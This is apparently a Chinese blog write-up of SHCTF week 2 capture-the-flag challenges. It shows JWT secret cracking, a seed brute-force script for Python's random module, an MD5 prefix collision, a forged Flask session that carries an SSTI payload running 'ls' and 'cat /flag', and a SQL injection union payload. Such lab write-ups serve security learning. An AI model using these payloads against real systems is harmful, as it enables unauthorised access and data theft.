SHCTF-week2-复现 发表于 2024-10-18 更新于 2024-10-18
南京
wp wp SHCTF-week2-复现 Kn1ght 2024-10-18 2024-10-18 SHCTF-week2-复现 [Week2]登录验证 点进去给了个登录页面,试试admin,admin显示“你不是真正的admin”
抓包看到cookie的token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjk1MjA3ODYsImlhdCI6MTcyOTUxMzU4NiwibmJmIjoxNzI5NTEzNTg2LCJyb2xlIjoidXNlciJ9.ZIBYI_XGX6BnHSgCByVoAaDKfP8EqDfpXtWxQDo9aq8
放jwt解密网站上
解密网站:https://jwt.io/
这边可以看到用户为user,但是这里直接改成admin的是不行的,从题目的描述可以知道这里修改的话需要密钥,题目说“666666”,猜测是个6位密码,这里需要用到jwt-cracker这个工具爆破一下
jwt-cracker:https://github.com/lmammino/jwt-cracker
爆破出来密钥是222333,放回到jwt那个网站,然后修改用户为admin,复制所得的token,放到bp里发包就能看到flag了
flag如下:
[Week2]guess_the_number 猜数字:
这我猜集贸啊,看看源码先:
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import flaskimport randomfrom flask import Flask, request, render_template, send_fileapp = Flask(__name__) @app.route('/' ) def index (): return render_template('index.html' , first_num = first_num) @app.route('/s0urce' ) def get_source (): file_path = "app.py" return send_file(file_path, as_attachment=True ) @app.route('/first' ) def get_first_number (): return str (first_num) @app.route('/guess' ) def verify_seed (): num = request.args.get('num' ) if num == str (second_num): with open ("/flag" , "r" ) as file: return file.read() return "nonono" def init (): global seed, first_num, second_num seed = random.randint(1000000 ,9999999 ) random.seed(seed) first_num = random.randint(1000000000 ,9999999999 ) second_num = random.randint(1000000000 ,9999999999 ) init() app.run(debug=True )
从这个源码可以看到,这个数字是由random模块生成的,求出第二个数填入就能拿到flag了,random伪随机数是进行seed运算得到的,可以爆破
可以让gpt写个脚本,下面贴一下官方的:
1 2 3 4 5 6 7 8 9 10 import randomfirst_num = int (input ("" )) for i in range (1000000 ,9999999 ,1 ): random.seed(i) num = random.randint(1000000000 ,9999999999 ) if num == first_num: second_num = random.randint(1000000000 ,9999999999 ) print ("second_num: " + str (second_num)) exit()
将脚本输出的数字填入就可以了
[Week1] MD5 Master
这题考查md5指定前缀绕过,使用fastcoll这个工具跑一下就行,指定的前缀为 MD5 Master! ,然后让gpt跑个脚本输出文本内容和md5值
php代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $a = file_get_contents ("工具生成的2个文件的地址(1)" ); $b = file_get_contents ("工具生成的2个文件的地址(2)" );if ($a === false ) {echo "⽆法读取 1.txt<br>" ;} else { echo urlencode ($a ) . "<br>" ;echo md5 ($a ) . "<br>" ;} if ($b === false ) {echo "⽆法读取 2.txt<br>" ;} else { echo urlencode ($b ) . "<br>" ;echo md5 ($b ) . "<br>" ;} ?>
把这个代码输出出来的内容,去掉指定的前缀,然后使用bp传参(hackbar打不通)就可以了
[Week2]入侵者禁入 考点:session伪造+SSTI模板注入
做这道题的时候发现fenjing好像是用不了的,只能另寻他路了,这道题需要伪造session,用到”flask-session-cookie-manager“这个工具
下载地址:https://github.com/noraj/flask-session-cookie-manager
1 2 3 4 5 6 7 ->python flask_session_cookie_manager3.py decode -c "eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZvZ8IQ.B9Q1a7gFQvzs4Q3bGldXuiGHULg" -s "0day_joker" ->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls").read()}}', 'is_admin': 1}}" ->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("ls /").read()}}', 'is_admin': 1}}" ->python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.globals["os"].popen("cat /flag").read()}}', 'is_admin': 1}}"
[Week2]自助查询 payload:
-1”) union select 1,column_comment from information_schema.columns
对于这道题,我还不是很懂,怎么一步步注入出来的,先往后放放(